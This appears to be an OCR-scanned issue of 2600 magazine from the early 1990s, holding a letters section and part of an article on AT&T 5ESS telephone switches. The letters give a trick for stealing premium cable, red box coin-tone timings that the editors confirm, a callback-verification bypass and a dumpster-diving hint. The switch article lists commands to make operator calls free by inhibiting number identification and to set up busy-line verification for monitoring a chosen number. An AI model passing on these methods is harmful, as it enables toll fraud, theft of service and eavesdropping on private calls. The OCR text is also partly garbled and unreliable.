1 000 consumer pen reg ister was discontinued 

because o(similar pressure. Fortunately, most of us 

don 't think of Radio Shack as a reliable source, but 

rather as a last resort. 

Dear 2600: 
The ANAC for Albuquerque, NM this month is 

990-43 1 2. Have fun !  

Martian 
Dear 2600: 

Concerning the DC meetings, the numbers at 
the mall cannot be dialed into. These numbers are, 
by the way : 703'4 1 5-9839, 9840, 984 1 ,  and 9842 
but I g u e s s  that is n o  h e l p .  B u t  I did get the 
Pentagon C i t y  M a l l  M e tro S t a t i o n  p a y p h o n e  
numbers and they c a n  b e  dialed into. These numbers 
are: 703-486-9454 and 9452.  So if any of us hear 
the phones that are right in front of the Metro Gates 
ringing then we know to answer. 

Clovis 

Freedom of the Press 
Dear 2600: 

I have been wanting to loc (letter of comment) 

your magazine since I first picked it  u p  in the 
summer of 1 99 1 .  However, I think I pick it up for a 
very different purpose than many of your readers. 
Un like many of your readers, I actually have no 
interest in telephones nor do I have an interest in 
hacking computer systems. I do wish the rates were 
lower for long distance calls and I firmly believe 
that they can be, however I do not expect that to 
change anytime soon ... or later. 

Rather, I pick up the magazine (at a local  
BookStop) because I think 'the audacity  of its  
existence is wonderful. If it weren't for the fact of 
such rules as the Freedom of The Press and the 
Freedom of Information Act, there would be no way 
for your publication to exist.  It would have been 
shut down some time ago. And if Bruce Sterling' s  

book i s  a n y  indication, there have already been 
many "rogue publications" shut down by opposing 
forces. 

I admire your writers greatly.  They have the 
courage to speak their  m i n d s  without  fearing 
reprisal from the government or the local police (or 
even mall cops if your last issue is  any indication). I 

would encourage everyone to keep writing . . .  keep 
sending articles and locs. I agree with the statement, 
"Information wants to be free." I, personally, would 
not break into systems to get information. But that is 
just me, I have no interest in  doing that. I have to 
ask for some feedback though on something that I 
have been contemplating. 

You see, I am a person who is fascinated with 

publi shing. I believe in the printed word ultimately. 
To me, a s l ightly muddy flyer lying on the street 
with g i ant words on i t  that say, "Hear Me! You 

Fuckers" is much more powerful than anything in 
the· world. If one person glances at that piece of 

paper on the street, even if he doesn ' t  pick it up to 
read the rest, he has still heard that message. In his 
mind, those words will stay around for a little bit. 
T h i s  k i n d  of fa s c i n a t i o n  w i t h  w o r d s  a n d  
communication in this manner, I believe h a s  been 
somewhat lost because of our society ' s  fast pace 
and growing impatience. It is a lot different from a 
television where a show comes on and the host says, 

"I would like to talk to you about.. . .  " Click. Bulletin 
boards are familiar in that aspect depending on 
whether you give a subject to a message. If there is 
a subject provided, a person has the choice to skip 
the message (I know I do when I am in a rush). So, 
if we relied on these other methods, messages could 
very well never be heard especial ly  with how 
choosy the media and the populace is .  

Having said that I find that I feel restricted in 
what I say. I find myself i n  constant fear that the 
"wrong type of person" might read the flyer (or 
article).  For instance, I think the crime situation is 
horrib l e .  Of course it  is horri b l e  everywhere,  
however I mean it 's  horrible in the sense that we 
have t,:"o serial rapists running around this area and 
they have been running for the past two years. As 
far as I know, there have been no attempts (real 

attempts) to catch them. Furthermore, I stick to that 
opinion because we have had two tourist killings in 

the past year ... accompanied with a lot of bad PR . . .  
a n d  e a c h  t i m e  t h e  killer w a s  caught within two 
weeks (one of them was even across the country). It 
sickens me that I have to worry about my fiance 
(who more Dr less lives in one of the target areas of 
this rapist) when she ' s  home alone at night because 
this bastard police department does absolutely 
nothing about it. If they are doing something it' s 

certainly not tangible enough for us to know. I was 
so mad one night that I wanted to publish an article 
blasting the local police department and scatter it 
throughout the area. Then fear set in. If they found 
out it was me, would there be any reprisal? I am a 
citizen and they have the power to do whatever they 
want to me. 

Another instance . . .  I have been wanting to write 

you since I first picked up 2600. However, I have 
been afraid of what's going to happen to my name. I 
work a s m a l l  part in the g i a n t  s c h e m e  of the 
publishing business and I really don ' t  want my 
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name in anyone' s  file and I don' t  see how anyone 
w o u l d .  I have noticed that 2 600 offers free 
subscriptions to writers. I certainly have a lot to say 
on the matter of speaking out and the freedom of 
publishing, which I would guess is related to what 
you do, but I am scared of my name being in it. If I 
was even offered a free subscription, where would I 
send it? A P.O. Box? Registered at the U.S. Postal , 
Service? 

I don' t  really believe that a file would be started 
on me. I believe that my name would be in the 2600 
file. The funny thing is, there is nothing illegal here. 
I am literally offering an opinion but it' s almost 
impossible to do it under a veil of anonymity any , 
longer .  I have honest ly  never participated in  
anything that was considered illegal (aside from the 
usual speeding violations and accidents that were 
my fault but who doesn' t  have those). However, it is 
my opinion that my opinion is dangerous. It is my 
opinion that will cau'se my name to come under ' 
scrut iny .  I w o u l d  subscribe to 2600 with no 
proble'm, but  it' s that fear of what happens to my 
name and who wants to know about me that scares ' 
me. 

I am sure that 's  the way that they (meaning the 
opposition in general) would rather I be. Heck! It' s 
one of the reasons that talk radio is booming ! 
AnybOdy can call in and be quite anonymous with 
their opinion. 

What I would like to hear your thoughts on, is 
how did you just come upon the decision to just not 
worry about it. 2600 is a publication that literally , 
rides on the edges of freedom of speech. You are 
daring' mega-billion dollar corporation with ties in 
the government to use their influence to squash you. 
Yet they don't  do it. Yet you aren' t  scared. Why? 

You would prObably say that my fears are a 
teensy bit blown out of proportion. But are they 
really� 

Mike 
Not really. And you 're not alone in having these 

fea rs. Therein lies the answer. Strength is in 
numbers. It 's because we have more friends than 
enemies that ,  we continue to survive.  It 's  also 
extremely important not to let our enemies get the 
upper hand by either dictating terms or, worse, 
allowing us to imagine what they might do to us if 
they cquld. Self-censorship is the worst kind of all 
and by no means is it limited to publications. 

Equal Access ? 
Dear 2600: 

I just realized how stuck-up universities are. I 
will be; attending Philadelphia College of Textiles & 
Science in the fall of '93. This college does not have 
an Internet connection. So, I decided to call Temple 
UniveJ;Sity and ask them if I could get a non-Temple 
student account. I '  n even pay for it if it comes down 
to that .  They obnoxiously refused.  How much 
would .it really cost them (as a university) to set me 

up an account? The reason I did all this is because I 
wanted a legal account, and not just another hacked 
one. 

userid@temple 
You r  problem is a very common one .  

Fortunately, judging from your address, you Were 
able to overcome i t .  We can understand the 
university 's reluctance to allow "outsiders " access 
to their systems but what they fail to realize is that 
people aren 't going to just accept being kept out in 
the cold. We believe people have the fundamental 
right to hitch a ride �nto the information highway. 
Just don 't kill the driver. 

Help Needed 
Dear 2600: 

I have many of your magazines and attend all of 
your meetings at the Citicorp bui1ding. I have been 
into phones and computers for many years. I am 
interested in bui ld ing  a D T M F  Decoder for 
educational purposes. I found the project in your 
Spring 1 990 Issue. After buying most of the parts, I 
am sad to say that the main IC Chip needed for the 
project is not easily available to me. 

I sent my $ 1 2 .50  to the company W.E.B.  in 
Spring Valley, California as you said in the article 
but the envelope came back to me and said ' the 
address no long existed. I need to get a SS  1 202 
(maybe S S 1 20 2 )  IC chip which i s  the D T M F  
Decoder. I have all the parts except that. ThiS i s  
kinda messed u p  i f  I wasted m y  time and money on 
all the parts already. I should have gotten that part 
first but didn' t  know . l  was going to run into 'this 
trouble. Please can you tell me where I might obtain 
this IC Chip from? It is the last part that I Ileed to 
complete my project. 

Reuben 
NYC 

We're checking into it and our readers will no 
doubt contribute information. Hang in there. 

Cable Potential 
Dear 2600: 

In response to your request for information on 
cable television, I know a few tricks. You must 
actually have basic cable to do these things. The box 
that se lects  channels  is what  controls  which 
channels are  unscrambled, so if you activate a 
premium channel, then cancel it if you can retain 
unscrambling. capability by unplugging your box 
when the signal is sent from the main office. So 
when you deactivate a channel make sure there is no 
power going to the box when they tell you to turn on 
your TV. They usually do their checking up late at 
night or in the early morning, so at night unplug the 
box. You will then continue to receive premium 
cable channels when the cable company thinks you 
don't. 

Master Quickly 
It's fulrd to believe it could be this easy. But it 
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certainly wouldn 't be the first time. 

On Beige Boxing 
Dear 2600: 

The Phoenix ' s  article on beige boxing in the 
Spring 1 993 issue was interesting. There ' s  another, 
s impler  way to get  the "monitor" capabi l i ty  
discussed. 

Get a really old rotary phone. The phone must 
be of the type that doesn' t  let you hear the pulses as 
you dial. (Newer rotaries and tone/pUlse switchable 
phones do let you hear them. )  Just install this as an 
extension on the line you want to monitor and take 
out the microphone from the mouthpiece. Leave it 
off the hook and it will behave just as The Phoenix 
described! 

Andrew Sharal 
Brooklyn 

Unlisted Directories 
Dear 2600: 

I just want to say that I think your "zine" is the 
bes t  on the p lanet .  I a l so  wanted to confirm 
something you printed in one of your i s s u e s .  
Although I can ' t  remember which issue i t  appeared 
in. I do recall reading about the Fone Co circulating 
special directories containing unlisted telephone 
numbers. Believe me, this is true. At least it used to 
be. Back in B .C.T. (Before Computer Typesetting), 
I used to work in a print shop that produced these 
directories. They were printed on a daily basis. Each 
night we would receive a new list of "changes" or 
"updates" for specific numbers. Each "page proof' 
was printed from a tray of lead type. My job was to 
find the correct page (alphabetically fi led) and 
update the "proof' for the next day ' s  press run. 
These updates included unlisted phone numbers, 
changed numbers, disconnects, etc . There was 
virtually no security so naturally, every now and 
then, an unlisted number or two was "reborn" unto 
the public domain. I don't  know if the directories 
are still produced, but I believe the same company is 
still in busine s s .  Their name is/was Alexander 
Typesetting in Indianapolis, IN.  Might be a good 
place for some "diving". Eh? 

SDW 
Fort Lauderdale, FL 

Probably not after this letter appears. But this 
does raise quite a few poten tially interesting 
possibilities. Anyone have more info on this kind of 
thing ? 

Callback Defeat 
Dear 2600: 

In your article in your Autumn 1 992 issue by 
Green Hell ,  you made the subject of defeating 
callback verification very complicated. When I did 
it, I didn ' t  use any switches or synthesizers or 
anything. When the board said "Hanging up to call 
you back" I simply picked up the phone, hung up 

the modem, and waited for the board to dial, then I 
typed "ATA" and hung up the phone. It worked out 
fine. I would have tested it further but I got sent to a 
group home ! 

MJ 
California 

Life can be like that. 

Another Way to Fix Credit 
Dear 2600: 

I read with interest all of the problems that 
many readers expressed about messed up credit 
ratings and problems with the big three credit rating 
companies (TRW, TransUnion, and Equifax). 

I just declared bankruptcy about a year ago and, 
obviously, my credit rating is in the shitter. The 
things I have done include getting my free annual 
copy of the report from each of the three companies 
and then s y stematical ly  g o i n g  through and 
challenging every derogatory item listed in i t .  When 
they receive this, they then must contact the creditor 
and have them re-verify all information in the credit 
report. The catch is that the creditor has 15 days in 
which to do this. If they do not respond within that 
timeframe, the item is deleted from your credit 
report. With more and more people catching on, this 
will soon change because the creditors do not have 
enough resources to move that fast and respond to 
the credit  report company ' s  reques ts  for re­
verification. If they do, oh well. Try again and again 
and again. At some point, the creditor will goof and 
the item will be deleted. This is exactly what all of 
those "Clean Up Your Credit" scam-folk do for a lot 
of money. 

One thing that is really distressing is how easy it 
is  to access someone ' s credit report. Arrowhead 
Water accessed my TransUnion and I never gave 
them my SSN or even my permission ! They just did 
it. When I called and complained, they did nothing 
(of course). 

Also, a good many would-be creditors do not 
check credit reports - which is strange considering how 
easy they are to get. Usually it is realtors or landlords 
with a place for rent. They will ask you how your 
credit looks. Depending on your answer, they may or 
may not get a credit report. Usually, if you say it is 
good, they won't but will tell you they will. 

Let' s  face it, the credit reporting agencies run 
our lives. You cannot even subscribe to the L.A. 
Times without the obligatory credit check. Try 
opening up a new bank account. Or what about 
Telecredit and Telecheck check authorization 
services? All of these seemingly innocuous services 
all have the perfunctory credit check and if  it 
happens to be bad, well, tough luck. 

Anybody have any ideas? I'd like to see a story 
about the credit scam in 2600. Keep up the good 
work! 

ES 
Hollywood 
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Check out this issue's story on the British credit 
situation (page 12). We're constantly on the lookout 
for more. 

Another Simplex Story 
Dear 2600: 

It was my pleasure to read your Simplex locks 
article, and it 's  been enjoyable following letters 
about them ever since. This is a story about the false 
security that they seem to give. 

The medical school in town has a computer lab 
which is divided into two rooms. The smaller first 
room accessible by the hallway has a Simplex lock 
on it. The second room, accessible through the first, 
does not. They keep the second room loc/ced via a 
deadbolt ,  while  the fi rst ,  althou gh deadbolt 
equipped, is protected only by the Simplex lock. 

One night while studying late, I took a break 
and tried the default combination out of boredom. 
To my surprise it worked! Having a vested interest 
in the computer lab I was appalled by their security 
and showed the operators your article so none of the 
computers would go for a stroll . It has been five 
months since then and the combination still hasn't 
changed. 

This isn't the only place on campus "protected" 
by these locks. I wonder how many more are still set 
on default combinations. 

Red Box Tones 
Dear 2600: 

Tbe Flea 
Lexington, KY 

I have a question that I was hoping you could 
help me out with. First off, I want to compliment 
you on the terrific mag. I picked up the Summer 
1 992 issue and I was glued to it until I had read it 
cover to cover. I particularly liked "On The Road 
Again : Portable Hacking" and the Demon Dialer 
Review. It looks like a very handy gadget but, like 
you said, it is beyond my means at this time. 

I have been using computers for over 10 years 
now, my first being an Apple ) [E that my parents 
gave me for my sixth birthday. I graduated to MS­
DOS-based stuff about four years ago. I have had 
some experience with many sites on the Internet 
through a large university computer. I only got more 
interested in phreaking and hacking a short while 
ago, though, and I haven't been able to do much 
with it. 

I have collected a large number of (antiquated) 
phreak-box files from local boards circa 1 986 or so. 
I know that blue boxing and stuff are dead, but that 
red/green is still alive. I tried to make a red box tape 
(from a fortress)  but that was unsuccessful for 
various reasons. My next idea was to simulate the 
tones by writ ing a compu ter program (I am 
proficient in C++ and Pascal), but the IBM's sound 
capabilities are too limited to do MF tones . I am 
thinking about using our school' s  recording studio, 

which is quite capable. My question on that is this: 
What are the exact durations that I need for a 
quarter? I have heard the following from various 
files: I) 33 ms on. 33 ms off five times repeating; 2) 
66 ms on, 66 ms off, five times repeating; 3)  five 
repeats of 1 2- 1 7  pps (which I infer can be converted 
to ms by dividing 1000 by the pps, so 83-59 ms or 
so). Which one is correct, or are. they all wrong? 

PB 
Deerfield, MA 

For a qUarter tone, it should be in the 30 to 35 
range. So your first choice would be correct. A 
dime, however, is approximately 60 ms on and off 
repeated twice. You might be interested in our latest 
red box plans located on page 42. 

Female Hackers 
Dear 2600: 

I love your mag ! Thought I ' d  write cause I 
never see "females" featured in any way in your 
publication. Is  it because there .aren ' t  any avid 
female hackers? I know for a fact it's a "man ' s  
world" in hacking circles. Many times I ' ve been 
teased and even slandered by guys.  Most think 
women can't  hack and if they do, then it must be 
because they look like a dog or are not very 
feminine. I wish this image would change someday. 
I have a daughter who has taken an interest in 
computers. I 'm teaching her what I know. I have 
loved hacking from the early days of the home brew 
club in S F .  I u s e d  to send my brother to the 
meeti n g s .  (Few w omen went back then . )  I 
remember my first computer. It came in pieces in 
the mail. It was dumb - looked like a window air 
conditioning unit with lights , but I loved it! I was 
hooked for life. Those were the days !  I still tinker 
and build electronic things .  B ack then we were 
known as "hardware hackers " .  Well ,  enough 
nostalgia. I wish to know if you know some boards 
or clubs that cater to ''the fair sex". I have met many 
female phone phreaks but few true hackers. Do they 
exist? 

A·Gal 
Florida 

Images don 't change themselves. This is one of 
those society things we 're all going to have to work 
on to a degree. Female hackers· certainly do exist -
they just hide themselves better. 

COCOT Question 
Dear 26()(): 

I have a question regarding the "Shopper ' s  
Guide t o  COCOTs" article in your Autumn 1 992 
issue. It seems that when I call the 1 -800 numbers to 
get an unrestricted dial tone, I don ' t !  When the 
person on the other end of the line hangs up, I get 
the recorded operator and that ever-so-annoying off­
hook sound, but no dial tone. Can anyone help? 

DW 
Providence, RI 
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It sounds like your local central o{flce has a 
feature that doesn 't allow a dial tone to he returned 
after the called party hangs up. In other words, vou 
can 't call someone, have them hanl( up, and get a 
dial tone unless you also hang up. One reason for 
this is to prevent exactly what you 're trying to 
accomplish. However, your central office will 
probably return a dial tone to a phone that 's been 
called when the calling pa rty hangs up. So, if 
somebody calls your COCOT, you pick it up, then 
they hang up, you could conceivably get a dial tone. 

New York 's 890 Exchange 
Dear 2600: 

I love your magazine. I still  find it hard to 
believe that you actually exist. It' s like a dream 
come true. 

Regarding the 890 exchange in the 2 1 2  area 
code, I am wondering if you can make sense out 
of something for me. In the 890 exchange as I try 
various  combinations of last four  digits,  I get 
different results .  For example: 8xxx gets me a 
message that such a number does not exist under 
the 5 1 8  area code. Similar messages are received 
on other numbers but with a different area code. 
4xxx gets a 607, 7xxx gets a 3 1 5 ,  9xxx gets a 
9 1 4, 3xxx gets , a 2 I 2, etc. Are Ibese calls being 
routed to a different area code u s i n g  the 890 
exchange? Also, 6664 gets a high pitched beep, 
0000 rings for about 40 seconds and then goes 
dead, 6000 gets a humall operator, and 5xxx i s  
simply dead space. 

What goes on? 
The Shepherd 
Brooklyn, NY 

The 890 exchange in New York routes all over 
the place. Since New York Telephone has its offices 
spread out, the 890 's p rovide a toll-free and 
uniform way for customers to reach them using call 
forwarding. By the way, that high pitched beep 
sounds like a modem to us. 

The Best ANAC 
Dear 2600: 

I work for a Baby Bell entity. But the best ANAC 
I have come across isn't  one of ours. It' s from a well 
known international network. Not only does this baby 
give you the seven digit number you're on, but your 
area code and class of service! Try it: 10732-404-988-
9664. I get about 90 percent success. The digitized 
announcer has a definite east coast accent. 

Non-Stop Phone Phreak 
West Coast 

This number's been around for a while and we 've 
found it to be a very dependable toll-free nationwide 
ANAC. We 'd like to know more about the class of 
service distinctions. Our numbers always have an 
eight tacked on at the end. Then we hear 000-000-000-
2. Who knows what this means? 

A Special Request 
Dear 2600: 

The last issue was great. Keeping the government 
and large corporations accountable is an invaluable 
and highly underappreciated activity. We must all bear 
witness to misdeeds if we want any justice, In my 
opinion 2600 should continue this task, along with a 
smattering of entertainment to keep up the readership. 
Consider yourselves civil servants of the highest order. 

Along those lines, I have a question for your 
readership. Has anybody heard of a program or a card 
for the PC to decode th,e L .A .P .D .  Mobile Data 
Terminal transmissions? I have the frequencies (900 
Mhz) but the format of the data is beyond me. It' s not 
cryptic, just complex. I'm sure the vast majority of the 
8000 L.A.P.D. officers are there to protect and serve. 
But the rest must be kept accountable. We need access. 
Can you help? 

Matthew 
Los Angeles 

Yet another p roject fo r o u r  Los Angeles 
readers. They 've certainly come through in the 
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(c'(mti"" edjrtJlIl page II )  
Frl Mar 1 4  09:22:32 1 992 RFA TN 

5ESS SWITCH WCDSO 
SCREEN 1 OF 2 RECENT CHANGE 1 . 1 1  

BRCS FEATU RE ASSIGNMENT (LINE ASSIGNMENT) 

' I . TN 5551212 ' 2 .  OE 
'5. PTY ' 

FEATURE LIST (FEATLlST) 

'S. MLHG 
7. MEMB 

8. BFGN 

ROW 11 FEATURE A P 15. FEATURE A P 1 9 .  FEATURE A P 23 . FEATURE A P 
1 .  ICFV N 
2. 
3. 
4 .  

main menu I n  lhe RCN APPRC menu system of the 
5ESS.  enter 12 for  the "BRCS FEATURE DEFINITION". 
Then access screen 1.11. This is the BRCS screen. When 
it asks you to "ENTER DATABASE OPERATION" enter 
"U" for Update and hit retum. 

2. Type in the Telephone Number. It should look l ike 
the example on the top of the page and will prompt you 
with: 
Enter Inaert, Change, Validate, 8creanll, or Print: _ 
I: to insert a form 
C: to change a field on a form 
V: to validate the form 
A: to display the desired screen number 
P:  to print the current screen 
U: to update the form 

Enter ."C" to change, access field 1 1  and row 1 (go to 
the ICFV wherever it may be) or add ICFR W it is not there. 
If it is though, leave the "A" (Active) field "N" (Yes or No). 
Change the P (presentation) column to "U" (Update).  
Then hit retum. 

Note: Different generics have other fields, one of 
them being an AC (Access Code) field. This field is a 
logical field. That means n only accepts "Y" for yes and 
"N" for no. Also when adding the feature to the swnch, the 
row and field numbers may not be shown, but will always 
fol low t h i s  patte r n .  Also note that the I C F V  (Call  
Forwarding Variable) feature may not be there. There may 
be no features on the l ine.  These examples are from 
Generic 4(2) . Here is an example of 5E8 (which is not 
used In too many places). 

. Menu 1 . 1 1  in the BRCS Feature Definnion is shown 
below. Hit retum twice to get back to "ENTER UPDATE, 
CHANGE, SCREEN II, OR PRINT : " ,  Enter a "U" for 
update and hit retum. It will say "FORM UPDATE". 

3, Next access screen 1 .22, call forwarding (l ine 
parameters) or It wil l  just come up automatically if you set 
the "PO to "U". 

FrI _ 14411:42:32 11t12 ACfLNTN 

5ESS SWITCH WCDSO 
RECENT CHANGE 1 .22 

CALL FORWARDING (LINE PARAMETERS) 

'1. TN 5551 2 1 2  
'6. FEATURE CFR 
9.  FWDTODN ��_�� __ _ 

10.BILLAFTX 0 16. SIMINTER 99 
l 1 .TIMEOUT 0 17. SIMINTRA 99 
12.BSTNINTVL 0 18. CFMAX 32 
13.CPTNINTVL 0 19. BSRING N 

4, If you used the automatic forms presentation, n will 
have the telephone number al ready on LlNE 1 .  If  not, 
retype the telephone number you want forwarded. The 
bottom of the screen w i l l  say " E NT E R  U P D A T E ,  
CHANGE, VALIDATE OR PRINT:" .  Type "C" for change 
and hit return. 

5, When it says CHANGE FIELD typa "9" and enter 
your forward to ON (Destination Number) including NPA if 
necessary. This will put you back to the "CHANGE FIELD" 
prompt . H i t  retllrn again for the " E NT E R  UPDATE,  
CHANGE, VALIDATE OR PRINT:" .  H i t  "U" for Update 
form and wait for "FORM UPDATED". 

6, Lastly, access screen 1 . 1 2, BRCS FEATURE 
ACTIVATION (LINE ASSIGNMENT). At the prompt enter 
a "U" for Update, and on Row 1 1  Line 1 (or wherever), 
change the "N" in column "A" to a "Y" for Yes, and you are 
done. 

Adding Other Features 
To add other features onto a l ine, follow the 

same format for adding the ICFR, but you may 
not need to access 1 . 22. Some other features 
are: 
ILIDLXA " CLIO 
ICFR " Remote Call Forward 
ICWC1 " Call Waiting 
ICFBUO " call forward busy line Vo 
ICFDAIO " call forward don� answer Vo 
ICFV " call forwarding variable 
ICPUO " call pick up 0 " used in the selql field 

5ESS SWITCH 
SCREEN 1 OF 2 RECENT CHANGE 1,11 

(5112,5113)BRCS FEATURE ASSIGNMENT (UNE) 

(°) 1 .  TN 5551 2 1 2  (0)2 . 0E _ ___ 3. LCC _ 
(0)6. MLHG _ 8, BFGN __ _ 
(0)5. 17TY 

_
(0) 7. MEMB _ 

11, FEATURE UST (FEATLIST) 
ROW FEATURE A P AC R ROW FEATURE A P AC R ROW FEATURE A P AC R 
1 ___ _ _ _  _ 8 ___ _ _ _  _ 1 5 ___ _ _ _  _ 
2 ___ _ _ _  _ 9 ___ _ _ _ _ 16 ___ _ _ _  _ 
3 ___ _ _ _  _ 10 ___ _ _ _ _ 1 7 ___ _ _ _  _ 
4 ___ _ _ _  _ 1 1  ___ _ _ _ _ 18 ___ _ _ _  _ 
5 ___ _ _ _  _ 12 ___ _ _ _ _ 19 ___ _ _ _  _ 
6 ___ _ _ _  _ 13 ___ _ _ _ _ 20 ___ _ _ _  _ 
7 ___ _ _ _  _ 14 ___ _ _ _ _ 21 ___ _ _ _  _ 
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ICPUT - call pick up t - used in the tpredq field 
ICWC1D - Premiere call waiting 
/DRIC - Distinctive ring 
IIOCT10 - Inter room 10 
IIOCTX2 - 1 digit SC 
IIOCTX2 - Interoom 10 2 
IIOCTX2 - Premiere 7130, convenience dialing 
IIOCTX3 - Premiere 7130, no cd 
IIOMVP1 - Premiere 216, no convenience dialing 
IIOMVP2 - Premiere 216, CD, not control sta. 
IIOMVP3 - Premiere 216, CD, control station 
IMWCH1 - Call hold 
IMWCTIA2 - Call transfer 2 
ITGUUT - Terminal group 10 number with TG view ( 1 .29) 

ANIIF the whole switch 
Automatic Number Identification fai lure (also 

ca l led "dark ca l is" )  are caused from var iol;ls 
different reasons. To understand th is  better, here 
are the technical names and causes. Note that 
this is not in  stone and the causes are not the 
only causes for a ANI-F to occur. 

ANF: Fai l u re to receive automatic number 
ident i f icat ion (AN I )  d ig i ts o n  i ncom ing  loca l  
access and transport area (LATA) trunk. 

ANF2: Automatic number identification (ANI )  
cOl lected by an operator fal lowing a fai l u re to 
receive ANI d ig its on an incoming central ized 
automatic message account ing (CAM A) t runk 
from the DTMF decoder. 

ANI: Time-out waiting for off-hook from Traffic 
Service Position System (TSPS) before sending 
ANI digits . 

One nice way to get ANI/F through a 5ESS is 
to use an inhibit command. 
INH:CAMAONI; 

The command inhibits centralized automatic 
message accounting (CAMA) operator number 
identification (ONI )  processing. This is done from 
the DTMF decoder. This message will cause a 
minor alarm to occur. If someone is in the CO 
when the alarm occurs , they wi l l  hear this bel l .  
( I t 's r inging al l  the t ime, because something is 
always going out . )  I n  this case, the alarm is  a 
level 1 (maximum is five) and the bell wi l l  ring 
once. 

Once t h i s  message is i n putted , a l l  ca l l s  
through the  CAMA operator wil l be  free o f  charge. 
So just dial the operator and you wi l l  have free 
cal ls. 

To place this back on the switch , just type: 
ALW:CAMAONI; 

and the minor alarm will stop, and things wil l 
go back to normal . 

Setting up your own BLV on the 5ESS from 
the Craft shell RCN Channel 

Well ,  we have come to the fun part, how to 
access the No-Test trunk  on the 5ESS (this is 
also called adding the third trunk). I wil l not be too 
specific on how to do this. You will need to figure 
it out. 

The first thing you want to do is to request a 
seizu re of a l i ne  for interactive t runk and l ine 

testing. One must assign a test pOSition (TP). This 
is done using the SET:WSPHONE. 
SET:WSPHONE,DN=a 

Note: SET:WSPOS ( 1 -8) , SET:WSLIN E  could 
also be used. This wil l choose a number to be the 
test n u m b e r  on t h e  sw i tc h .  N o w  u s i n g  t h e  
CONN:WSLINE o n e  can set up a BLV. 
CONN:WSLINE,TP=a,DN=b; 

a = TP that you set from the SET:WSPOS 
b = The number you want to do the BL V on 
To set this up on a MLHG (can come in real 

useful ) ,  do a: 
CONN:WSLINE,TP=a,MLHG=x-y; 

x = MLHG number 
y = MLHG member number 
To set things back to normal and disconnect 

the BLV do a: 
DISC:WSPHONE,TP=z 

z = TP 1 through 8 
And there is a quick overview. Note that one 

may need to do a ALW:CALLMON. 
Other Sources 

Here is a list of manuals that you can order 
from the CIC ( 1 -800-432-6600). Note that some 
of these manua ls  are wel l  over hund reds of 
dollars. 
Manuals: 
234-105-110 System Maintenance Requirements 

and Tools 
235-001-001 Documentation Guide 
235-070-100 Switch A dministration Guidelines 
235-100-125 System Description 
235-105-110 System Maintena nce Requirements 

and Tools 
235-105-200 Precutover and Cutover Procedures 
23 5-1 0 5-21 0  Routine Operatio n s  a n d  

Maintenance 
235-105-220 Corrective Maintenance 
235-1 05-231 Hardware Change Pro cedures -

Growth 
235-105-24x Generic Retrofit Procedures 
235-105-250 System Recovery 
235-105-250A Craft Terminal Lockout Job Aid 
235-105-331 Hardware Change Pro cedures -

Degrowth 
235-105-44x Large Terminal Growth Procedures 
235-1 1 8-200 Recent Change Procedures Menu 

Mode Generic Program 
235-1 1 8-210 Recent Change Procedures Menu 

Mode 
235-1 1 8-213 Menu Mode 5E4 Software Relea se 
23 5-1 1 8-21 4 Ba't ch Releas e  5E4 Softwa re 

Release 
23 5-1 1 8 -21 5 Text I nterface 5E4 Soft ware 

Release 
235-1 18-216 Recent Change Procedures 
235-1 1 8-21 7 Recent Change Procedures Batch 

Release 5E5 Software Release 
235-1 1 8-21 8 Recent Change Attribute Definitions 

5E5 Software Release 
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235-1 1 8-21x Recent Change Procedures - Menu 
Mode 

235-1 1 8-224 Recent Change Procedures 5E6 
Software Release 

235-1 1 8�225 Recent Ch ange Referen ce 5E6 
Software Release 

235-1 1 8-240 Recent Change Procedures 
235-1 1 8-241 Recent Change Reference 
235-1 1 8-242 Recent Change Procedures 5E8 

Software Release 
235-1 1 8-24x Recent Change Procedures 
235-1 18-311 Using RMAS 5E4 Software Release 
235-1 1'�400 O ffi ce Records an d Database 

QUllry 5E4 Software Release 
235-190-101 Business and Residence Modular 

Features 
235-190-105 ISDN Features and Applications 
235-190-1 1 5  Local and Toll System Features 
235-190-120 Common Channel Signaling Service 

Features 
235-190-130 Local Area Services Features 
235-190-300 Billing Features 
235-600-103 Tra nslations Data 
235-600-30x ECDISG Data Base 
235-600-400 Audits 
235-600-500 A ssert Manual 
235-600-601 Processor Recovery Messages 
235-700-300 Peripheral Diagnostic Language 
235-900-101 Tech nical Specification and System 

Description 

Ineld. the 2800 centr.1 office I • •  brand new 5ESSI 

235-900-103 Technical Specificatio n 
235-900-104 Product Specificatio n 
235-900-10x Product Specificatio n 
2:3 5-900-301 ISDN Basic Rate Interface 

Specificatio n 
250-505-100 OSPS Des criptio n and Procedures 
363-200 - 1 0 1  DCL U Integrated SLC Carrier 

System 
TG-5 Tra nslation Guide 
Practlcea: 
254-341-100 File System Software Subsystem 

Description 3B20D Computer 
254-301-1 1 0  Input-Output Processor Peripheral 

Control/er s Des criptio n a n d  Theory of 
Operatio n A T& T 3B20D Model 1 Computer 
None 

254-341-220 3B20 System Diagno stic Software 
Subsystem Description 3B2OD Processor 

Other: 
CIC Select Code 303-001 Craft Interface User's 

Guide 
CIC Select Code 303-002 Diagnostics User's Guide 
CIC Select Code 303-006 A T& T AM UNIX RTR 

Operating System, System Audits Guide 
IM-5DOOO-01 Input Manual 
OM-5dOOO-01 Output Manual 
OPA-5P670-01 The A dministrator User Guide 
OPA-5P672-01 The Operator User Guide 
OPA-5P674-01 The RMAS Generic - Provided 

User Masks 
Acronyms and Abbreviations 

(These are entries that are not already listed in 
the acronym list currently being printed in 2600.) 

ADTS - Automatic Data Test System 
ATICS - Automated To l l  I ntegr i ty Check ing  

System 
BMD - Batch Mode Display 
BMI - Batch Mode  I n put  - T l M E R E L  and  

DEMAND 
BMR - Batch Mode Release 
CIC - Customer Information Center (AT&T) 
DAMT - Direct Access Mechanize Testing 
DMERT - Duplex Multiple Environment Real Time 
DSU - Digital Service Unit 
DTAC - Digital Test Access Connector 
IPS - I ntegrated Provisioning System 
ITNO - Item Number 
LU - Line Unit 
MML - Man Machine Language 
MSGNO - Message Number 
MSGS - Message Switch 
NCT - Network Control and Timing 
ODD - Office Dependent Data 
OE - Office Equipment 
ORONO - Service Order Number 
OSS - Operations Support System 
POVT - Provisioning On-site Verification Testing 
RC - Recent Change 
RCN - Recent Change and Verify 
RDATE - Release Date (Update Database Date) 
RTIME - Release Time (Update Database Time) 
SMPU - Switch Module Processor Unit 
SONET - Synchronous Optical Network 
STLWS - Supplementary Trunk and Line Work 

Station 
TFTP - TeleviSion Facility Test POSition 
TIMEREL - Time Release 
TMS - Time Multiplexed Switch 
TRCO - Trouble Reporting Control Office 
TSIU - Time Slot Interchange Unit 
TU - Trunk Unit 

I give AT&T full credit for this article. Without 
them, it would not have been possible I 
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Corporate Speak 

